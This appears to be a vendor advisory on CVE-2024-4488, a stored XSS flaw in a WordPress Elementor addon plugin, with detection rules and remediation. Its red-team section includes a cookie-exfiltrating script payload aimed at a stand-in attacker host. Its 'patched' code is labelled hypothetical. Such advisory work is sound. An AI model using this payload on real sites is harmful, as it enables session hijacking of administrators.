CVE-2024-4488

Executive Summary

CVE-2024-4488 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress, affecting versions up to and including 1.3.976. The flaw resides in the inline_list parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, potentially leading to session hijacking, data theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a third-party addon for the Elementor page builder, and its supply chain risk is limited to the plugin’s update mechanism. Users should verify plugin integrity via checksums provided by the repository.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for authenticated access, but the potential for widespread exploitation via stored scripts on high-traffic pages elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the inline_list parameter of the Royal Elementor Addons plugin. The plugin fails to properly sanitize user input and escape output when rendering this parameter. An attacker with contributor-level access can inject malicious JavaScript into the inline_list field. When the page is viewed by any user (including administrators), the script executes in the context of the victim’s browser.

The attack flow:

1. Attacker logs in with contributor credentials.
2. Creates or edits a page using the Royal Elementor Addons widget.
3. Injects a payload like <script>alert('XSS')</script> into the inline_list parameter.
4. The payload is stored in the database without proper sanitization.
5. When any user visits the page, the script executes.

This is a classic stored XSS vulnerability, often used for session cookie theft, phishing, or defacement.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.3.976):

// In the widget's render method
$inline_list = $settings['inline_list'];
echo '<div class="inline-list">' . $inline_list . '</div>';

The $inline_list value is directly echoed without escaping.

Patched Code (hypothetical fix):

// Properly escape output
$inline_list = esc_html( $settings['inline_list'] );
echo '<div class="inline-list">' . $inline_list . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Royal Elementor Addons <= 1.3.976
• Contributor-level account

Exploitation Steps:

1. Log in as contributor.
2. Navigate to Pages > Add New.
3. Add a Royal Elementor Addons widget that uses the inline_list parameter.
4. In the inline_list field, enter:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Publish the page.
6. Wait for an administrator to visit the page; the cookie is exfiltrated.

No public exploit code is available for this CVE.

Blue Team

Detection:

• Monitor for unusual inline_list parameter values in page/post content.
• Look for script tags or event handlers in stored content.
• Use WAF rules to block common XSS payloads.

Hunting:

• Query the WordPress database for posts containing <script in post_content.
• Check for recent contributor-level account activity creating pages with Elementor widgets.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/royal-elementor-addons/ (check version in readme.txt)
• Database: Posts with post_content containing <script tags in inline_list context.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress audit logs showing page creation by contributor accounts with unusual content.

Detection Engineering

YARA Rule

rule CVE_2024_4488_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Royal Elementor Addons inline_list parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4488"
    strings:
        $inline_list = /inline_list["']?\s*[:=]\s*["'][^"']*<script/i
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $inline_list and $xss_payload
}

Sigma Rule

title: Stored XSS via Royal Elementor Addons inline_list
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts using the inline_list parameter in Royal Elementor Addons
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "inline_list"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4488 Stored XSS in Royal Elementor Addons inline_list"; flow:to_server; content:"inline_list"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Royal Elementor Addons plugin until a patch is available.
2. Review all pages/posts created by contributor-level users for malicious content.
3. Implement a Web Application Firewall (WAF) rule to block <script in inline_list parameters.

Long-term Fix:

• Update the plugin to a patched version once released (check plugin repository).
• Apply WordPress hardening: restrict contributor permissions, use security plugins.

Workarounds:

• Use a content security policy (CSP) to block inline scripts.
• Enable automatic plugin updates.

Valters IT
Securing Digital Frontiers